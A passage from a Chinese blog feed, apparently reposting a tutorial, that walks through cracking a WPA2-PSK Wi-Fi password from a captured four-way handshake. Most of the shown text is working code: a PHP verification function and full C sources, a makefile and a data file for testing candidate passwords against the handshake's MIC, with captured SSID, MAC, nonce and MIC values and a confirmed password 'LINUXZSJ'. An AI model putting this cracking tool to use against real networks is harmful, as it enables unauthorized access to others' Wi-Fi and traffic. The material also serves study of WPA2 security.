txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">b4 45 5d 0b c4 46 64 5c 59 57 43 4f 65 3a d0 bf a5 9f 6b e1 a2 65 fb f3 3b 7d 54 7b 1b 48 45 34</span><br></pre></td></tr></table></figure><p>同时，从第二个握手包中还可以得到MIC为</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">88 73 42 b8 16 1d f2 30 c8 48 80 cb e9 07 4f f8</span><br></pre></td></tr></table></figure><p>如图：<br><img src="/media/image/antiwifipwd/4.jpg" alt="img4"><br>现在就差step2_data了。step2_data就是LLC的负载，如图：<br><img src="/media/image/antiwifipwd/5.jpg" alt="img5"><br>不过需要注意的是，客户端在计算mic之前，step2_data中mic对应的16字节全是0，所以step2_data应该是：</p><figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">01 03 00 75 02 01 0a 00 00 00 00 00 00 00 00 00 01 b4 45 5d 0b c4 46</span><br><span class="line">64 5c 59 57 43 4f 65 3a d0 bf a5 9f 6b e1 a2 65 fb f3 3b 7d 54 7b 1b</span><br><span class="line">48 45 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</span><br><span class="line">00 00 00 00 00 00 16 30 14 01 00 00 0f ac 04 01 00 00 0f ac 04 01 00</span><br><span class="line">00 0f ac 02 00 00</span><br></pre></td></tr></table></figure><p>至此，所需的SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data与mic都已经到手了。</p><p>让我们用php来写一个验证密码正确与否的函数：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_password</span>(<span class="params"><span class="variable">$p_handshake</span>,<span class="variable">$p_password</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$t_psk</span>=<span class="title function_ invoke__">hash_pbkdf2</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$p_password</span>,<span class="variable">$p_handshake</span>[<span class="string">&quot;ssid&quot;</span>],<span class="number">4096</span>,<span class="number">32</span>,<span class="literal">true</span>);</span><br><span class="line">    <span class="variable">$t_ptk_data</span>=<span class="string">&quot;Pairwise key expansion\0&quot;</span></span><br><span class="line">                .<span class="title function_ invoke__">min</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_mac&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_mac&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">max</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_mac&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_mac&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">min</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_nonce&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_nonce&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">max</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_nonce&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_nonce&quot;</span>])</span><br><span class="line">                .<span class="string">&quot;\0&quot;</span>;</span><br><span class="line">    <span class="variable">$t_ptk</span>=<span class="title function_ invoke__">hash_hmac</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$t_ptk_data</span>,<span class="variable">$t_psk</span>,<span class="literal">true</span>);</span><br><span class="line">    <span class="variable">$t_mic</span>=<span class="title function_ invoke__">hash_hmac</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$p_handshake</span>[<span class="string">&quot;step2_data&quot;</span>],<span class="title function_ invoke__">substr</span>(<span class="variable">$t_ptk</span>,<span class="number">0</span>,<span class="number">16</span>),<span class="literal">true</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">substr</span>(<span class="variable">$t_mic</span>,<span class="number">0</span>,<span class="number">16</span>)==<span class="variable">$p_handshake</span>[<span class="string">&quot;mic&quot;</span>];</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>以上述的数据为例，使用该函数的代码如下：</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$g_handshake</span>=<span class="keyword">array</span>();</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;ssid&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;54502d4c494e4b5f344636433930&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;ap_mac&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;20dce64f6c90&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;sta_mac&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;e0b9a51fe794&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;ap_nonce&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;sta_nonce&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;step2_data&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000&quot;</span>);</span><br><span class="line"><span class="variable">$g_handshake</span>[<span class="string">&quot;mic&quot;</span>]=<span class="title function_ invoke__">hex2bin</span>(<span class="string">&quot;887342b8161df230c84880cbe9074ff8&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_password</span>(<span class="params"><span class="variable">$p_handshake</span>,<span class="variable">$p_password</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="variable">$t_psk</span>=<span class="title function_ invoke__">hash_pbkdf2</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$p_password</span>,<span class="variable">$p_handshake</span>[<span class="string">&quot;ssid&quot;</span>],<span class="number">4096</span>,<span class="number">32</span>,<span class="literal">true</span>);</span><br><span class="line">    <span class="variable">$t_ptk_data</span>=<span class="string">&quot;Pairwise key expansion\0&quot;</span></span><br><span class="line">                .<span class="title function_ invoke__">min</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_mac&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_mac&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">max</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_mac&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_mac&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">min</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_nonce&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_nonce&quot;</span>])</span><br><span class="line">                .<span class="title function_ invoke__">max</span>(<span class="variable">$p_handshake</span>[<span class="string">&quot;ap_nonce&quot;</span>],<span class="variable">$p_handshake</span>[<span class="string">&quot;sta_nonce&quot;</span>])</span><br><span class="line">                .<span class="string">&quot;\0&quot;</span>;</span><br><span class="line">    <span class="variable">$t_ptk</span>=<span class="title function_ invoke__">hash_hmac</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$t_ptk_data</span>,<span class="variable">$t_psk</span>,<span class="literal">true</span>);</span><br><span class="line">    <span class="variable">$t_mic</span>=<span class="title function_ invoke__">hash_hmac</span>(<span class="string">&quot;sha1&quot;</span>,<span class="variable">$p_handshake</span>[<span class="string">&quot;step2_data&quot;</span>],<span class="title function_ invoke__">substr</span>(<span class="variable">$t_ptk</span>,<span class="number">0</span>,<span class="number">16</span>),<span class="literal">true</span>);</span><br><span class="line">    <span class="keyword">return</span> <span class="title function_ invoke__">substr</span>(<span class="variable">$t_mic</span>,<span class="number">0</span>,<span class="number">16</span>)==<span class="variable">$p_handshake</span>[<span class="string">&quot;mic&quot;</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="variable">$g_password</span>=<span class="string">&quot;LINUXZSJ&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">is_password</span>(<span class="variable">$g_handshake</span>,<span class="variable">$g_password</span>);</span><br></pre></td></tr></table></figure><p>程序输出1，说明”LINUXZSJ”是该AP的密码。</p><h1 id="阶段五：用C语言实现"><a href="#阶段五：用C语言实现" class="headerlink" title="阶段五：用C语言实现"></a>阶段五：用C语言实现</h1><p>php因为语法简单明晰，用来演示算法不错，但真用来大规模计算，效率不敢恭维。在我机器上，循环1000次，php用时12.6秒，而C用时2.6秒，将近5倍！</p><p>C语言的实现就不解释了，直接给出代码。共fastpbkdf2.h、fastpbkdf2.c、hmac.h、hmac_sha1.c、wpa2break.h、wpa2break.c和main.c七个文件。其中，fastpbkdf2.h和fastpbkdf2.c的源码请参考<a href="https://zhou-yuxin.github.io/articles/2016/pbkdf2-shaX%E6%91%98%E8%A6%81%E7%AE%97%E6%B3%95%E4%BB%A5%E5%8F%8AC%E8%AF%AD%E8%A8%80%E5%AE%9E%E7%8E%B0/index.html">《pbkdf2-shaX摘要算法以及C语言实现》</a>，而hmac.h、hmac_sha1.c的源码请参考<a href="https://zhou-yuxin.github.io/articles/2016/hmac-sha1%E6%91%98%E8%A6%81%E7%AE%97%E6%B3%95%E4%BB%A5%E5%8F%8AC%E8%AF%AD%E8%A8%80%E5%AE%9E%E7%8E%B0/index.html">《hmac-sha1摘要算法以及C语言实现》</a>。以下给出wpa2break.h、wpa2break.c和main.c的源码～</p><ul><li>wpa2break.h<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifndef</span> WPA2BREAK_H</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2BREAK_H</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdint.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_SSID_MAX_LEN                   32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_MAC_LEN                         6</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_NONCE_LEN                      32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_STEP2_DATA_LEN                121</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_MIC_OFFSET                     81</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_PSK_LEN                        32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_PBKDF2_LOOP                  4096</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_WORD                             <span class="string">&quot;Pairwise key expansion\0&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_WORD_LEN                       23</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_PTK_LEN                        16</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_PTK_DATA_LEN                     (WPA2_WORD_LEN+2*WPA2_MAC_LEN+2*WPA2_NONCE_LEN+1)</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> WPA2_MIC_LEN                        16</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">uint8_t</span> ssid[WPA2_SSID_MAX_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> ssid_len;</span><br><span class="line">    <span class="type">uint8_t</span> ap_mac[WPA2_MAC_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> sta_mac[WPA2_MAC_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> ap_nonce[WPA2_NONCE_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> sta_nonce[WPA2_NONCE_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> step2_data[WPA2_STEP2_DATA_LEN];</span><br><span class="line">    <span class="type">uint8_t</span> step2_mic[WPA2_MIC_LEN];</span><br><span class="line">    <span class="class"><span class="keyword">struct</span></span></span><br><span class="line"><span class="class">    &#123;</span></span><br><span class="line">        <span class="type">uint8_t</span> ptk_data[WPA2_PTK_DATA_LEN];</span><br><span class="line">    &#125;</span><br><span class="line">    mid_value;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">wpa2_handshake_t</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">wpa2break_init_mid_value</span><span class="params">(<span class="type">wpa2_handshake_t</span>* p_handshake)</span>;</span><br><span class="line"><span class="type">int</span> <span class="title function_">wpa2break_is_password</span><span class="params">(<span class="type">wpa2_handshake_t</span>* p_handshake,<span class="type">uint8_t</span>* p_password,<span class="type">uint8_t</span> p_len)</span>;</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure></li><li>wpa2break.c<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;wpa2break.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;fastpbkdf2.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;hmac.h&quot;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">mem_min_max</span><span class="params">(<span class="type">uint8_t</span>** p_min,<span class="type">uint8_t</span>** p_max,<span class="type">uint8_t</span> p_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> t_cmp=<span class="built_in">memcmp</span>(*p_min,*p_max,p_len);</span><br><span class="line">    <span class="keyword">if</span>(t_cmp&gt;<span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">uint8_t</span>* p_temp=*p_min;</span><br><span class="line">        *p_min=*p_max;</span><br><span class="line">        *p_max=p_temp;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">wpa2break_init_mid_value</span><span class="params">(<span class="type">wpa2_handshake_t</span>* p_handshake)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">uint8_t</span>* t_ptk_data=p_handshake-&gt;mid_value.ptk_data;</span><br><span class="line">    <span class="built_in">memcpy</span>(t_ptk_data,WPA2_WORD,WPA2_WORD_LEN);</span><br><span class="line">    <span class="type">uint8_t</span>* t_min=p_handshake-&gt;ap_mac;</span><br><span class="line">    <span class="type">uint8_t</span>* t_max=p_handshake-&gt;sta_mac;</span><br><span class="line">    mem_min_max(&amp;t_min,&amp;t_max,WPA2_MAC_LEN);</span><br><span class="line">    <span class="built_in">memcpy</span>(t_ptk_data+WPA2_WORD_LEN,t_min,WPA2_MAC_LEN);</span><br><span class="line">    <span class="built_in">memcpy</span>(t_ptk_data+WPA2_WORD_LEN+WPA2_MAC_LEN,t_max,WPA2_MAC_LEN);</span><br><span class="line">    t_min=p_handshake-&gt;ap_nonce;</span><br><span class="line">    t_max=p_handshake-&gt;sta_nonce;</span><br><span class="line">    mem_min_max(&amp;t_min,&amp;t_max,WPA2_NONCE_LEN);</span><br><span class="line">    <span class="built_in">memcpy</span>(t_ptk_data+WPA2_WORD_LEN+<span class="number">2</span>*WPA2_MAC_LEN,t_min,WPA2_NONCE_LEN);</span><br><span class="line">    <span class="built_in">memcpy</span>(t_ptk_data+WPA2_WORD_LEN+<span class="number">2</span>*WPA2_MAC_LEN+WPA2_NONCE_LEN,t_max,WPA2_NONCE_LEN);</span><br><span class="line">    t_ptk_data[WPA2_PTK_DATA_LEN<span class="number">-1</span>]=<span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(p_handshake-&gt;step2_data+WPA2_MIC_OFFSET,<span class="number">0</span>,WPA2_MIC_LEN);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">wpa2break_is_password</span><span class="params">(<span class="type">wpa2_handshake_t</span>* p_handshake,<span class="type">uint8_t</span>* p_password,<span class="type">uint8_t</span> p_len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">uint8_t</span> t_psk[WPA2_PSK_LEN];</span><br><span class="line">    fastpbkdf2_hmac_sha1(p_password,p_len,p_handshake-&gt;ssid,p_handshake-&gt;ssid_len,WPA2_PBKDF2_LOOP,t_psk,WPA2_PSK_LEN);</span><br><span class="line">    <span class="type">uint8_t</span> t_ptk[WPA2_PTK_LEN];</span><br><span class="line">    <span class="type">uint32_t</span> t_ptk_len=WPA2_PTK_LEN;</span><br><span class="line">    hmac_sha1(t_psk,WPA2_PSK_LEN,p_handshake-&gt;mid_value.ptk_data,WPA2_PTK_DATA_LEN,t_ptk,&amp;t_ptk_len);</span><br><span class="line">    <span class="type">uint8_t</span> t_mic[WPA2_MIC_LEN];</span><br><span class="line">    <span class="type">uint32_t</span> t_mic_len=WPA2_MIC_LEN;</span><br><span class="line">    hmac_sha1(t_ptk,WPA2_PTK_LEN,p_handshake-&gt;step2_data,WPA2_STEP2_DATA_LEN,t_mic,&amp;t_mic_len);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">memcmp</span>(p_handshake-&gt;step2_mic,t_mic,WPA2_MIC_LEN)==<span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li>main.c<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&quot;wpa2break.h&quot;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">hex2dig</span><span class="params">(<span class="type">char</span> p_hex)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span>(<span class="string">&#x27;0&#x27;</span>&lt;=p_hex&amp;&amp;p_hex&lt;=<span class="string">&#x27;9&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> p_hex-<span class="string">&#x27;0&#x27;</span>;</span><br><span class="line">    <span class="keyword">if</span>(<span class="string">&#x27;a&#x27;</span>&lt;=p_hex&amp;&amp;p_hex&lt;=<span class="string">&#x27;f&#x27;</span>)</span><br><span class="line">        <span class="keyword">return</span> p_hex-<span class="string">&#x27;a&#x27;</span>+<span class="number">10</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">void</span> <span class="title function_">hex2bin</span><span class="params">(<span class="type">char</span>* p_hex,<span class="type">uint8_t</span>* p_bin)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> t_len=<span class="built_in">strlen</span>(p_hex)/<span class="number">2</span>;</span><br><span class="line">    <span class="type">int</span> t_i;</span><br><span class="line">    <span class="keyword">for</span>(t_i=<span class="number">0</span>;t_i&lt;t_len;t_i++)</span><br><span class="line">        p_bin[t_i]=hex2dig(p_hex[<span class="number">2</span>*t_i])*<span class="number">16</span>+hex2dig(p_hex[<span class="number">2</span>*t_i+<span class="number">1</span>]);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">wpa2_handshake_t</span> t_handshake;</span><br><span class="line">    FILE* t_file=fopen(<span class="string">&quot;ap1.txt&quot;</span>,<span class="string">&quot;r&quot;</span>);</span><br><span class="line">    <span class="type">char</span> t_buffer[<span class="number">1024</span>];</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.ssid);</span><br><span class="line">    t_handshake.ssid_len=<span class="built_in">strlen</span>((<span class="type">char</span>*)t_handshake.ssid);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.ap_mac);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.sta_mac);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.ap_nonce);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.sta_nonce);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.step2_data);</span><br><span class="line">    fgets(t_buffer,<span class="keyword">sizeof</span>(t_buffer),t_file);</span><br><span class="line">    hex2bin(t_buffer,t_handshake.step2_mic);</span><br><span class="line">    fclose(t_file);</span><br><span class="line">    wpa2break_init_mid_value(&amp;t_handshake);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;%dn&quot;</span>,wpa2break_is_password(&amp;t_handshake,(<span class="type">uint8_t</span>*)<span class="string">&quot;LINUXZSJ&quot;</span>,<span class="number">8</span>));</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>然后是makefile文件：<figure class="highlight cmake"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">main: main.o hmac_sha1.o fastpbkdf2.o wpa2break.o</span><br><span class="line">gcc main.o hmac_sha1.o fastpbkdf2.o wpa2break.o -lcrypto -o main</span><br><span class="line"></span><br><span class="line">main.o: main.c</span><br><span class="line">gcc -c main.c -o main.o</span><br><span class="line"></span><br><span class="line">hmac_sha1.o: hmac_sha1.c</span><br><span class="line">gcc -c hmac_sha1.c -o hmac_sha1.o</span><br><span class="line"></span><br><span class="line">fastpbkdf2.o: fastpbkdf2.c</span><br><span class="line">gcc -c fastpbkdf2.c -std=c99 -o fastpbkdf2.o</span><br><span class="line"></span><br><span class="line">wpa2break.o: wpa2break.c</span><br><span class="line">gcc -c wpa2break.c -o wpa2break.o</span><br></pre></td></tr></table></figure>并附上main.c中需要使用的ap1.txt文件：<figure class="highlight txt"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">54502d4c494e4b5f344636433930</span><br><span class="line">20dce64f6c90</span><br><span class="line">e0b9a51fe794</span><br><span class="line">3320ced2535ed697d52c272aeea799d4d188a4603142f37a240f8064d7cdf588</span><br><span class="line">b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b484534</span><br><span class="line">0103007502010a00000000000000000001b4455d0bc446645c5957434f653ad0bfa59f6be1a265fbf33b7d547b1b4845340000000000000000000000000000000000000000000000000000000000000000887342b8161df230c84880cbe9074ff8001630140100000fac040100000fac040100000fac020000</span><br><span class="line">887342b8161df230c84880cbe9074ff8</span><br></pre></td></tr></table></figure>ap1.txt一行表示一个数据，从上到下依次是SSID、AP_MAC、STA_MAC、AP_Nonce、STA_Nonce、step2_data和MIC。</li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;转载声明&quot;&gt;&lt;a href=&quot;#转载声明&quot; class=&quot;headerlink&quot; title=&quot;转载声明&quot;&gt;&lt;/a&gt;转载声明&lt;/h1&gt;&lt;p&gt;本文全文转载自&lt;a href=&quot;https://zhou-yuxin.github.io/articles/2016/%E6</summary>
      
    
    
    
    <category term="计算机与网络" scheme="https://blog.ypa.moe/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%8E%E7%BD%91%E7%BB%9C/"/>
    
    
    <category term="WPA2" scheme="https://blog.ypa.moe/tags/WPA2/"/>
    
    <category term="网络安全" scheme="https://blog.ypa.moe/tags/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
    
    <category term="wifi" scheme="https://blog.ypa.moe/tags/wifi/"/>
    
  </entry>
  
  <entry>
    <title>为OpenWRT交叉编译mentohust</title>
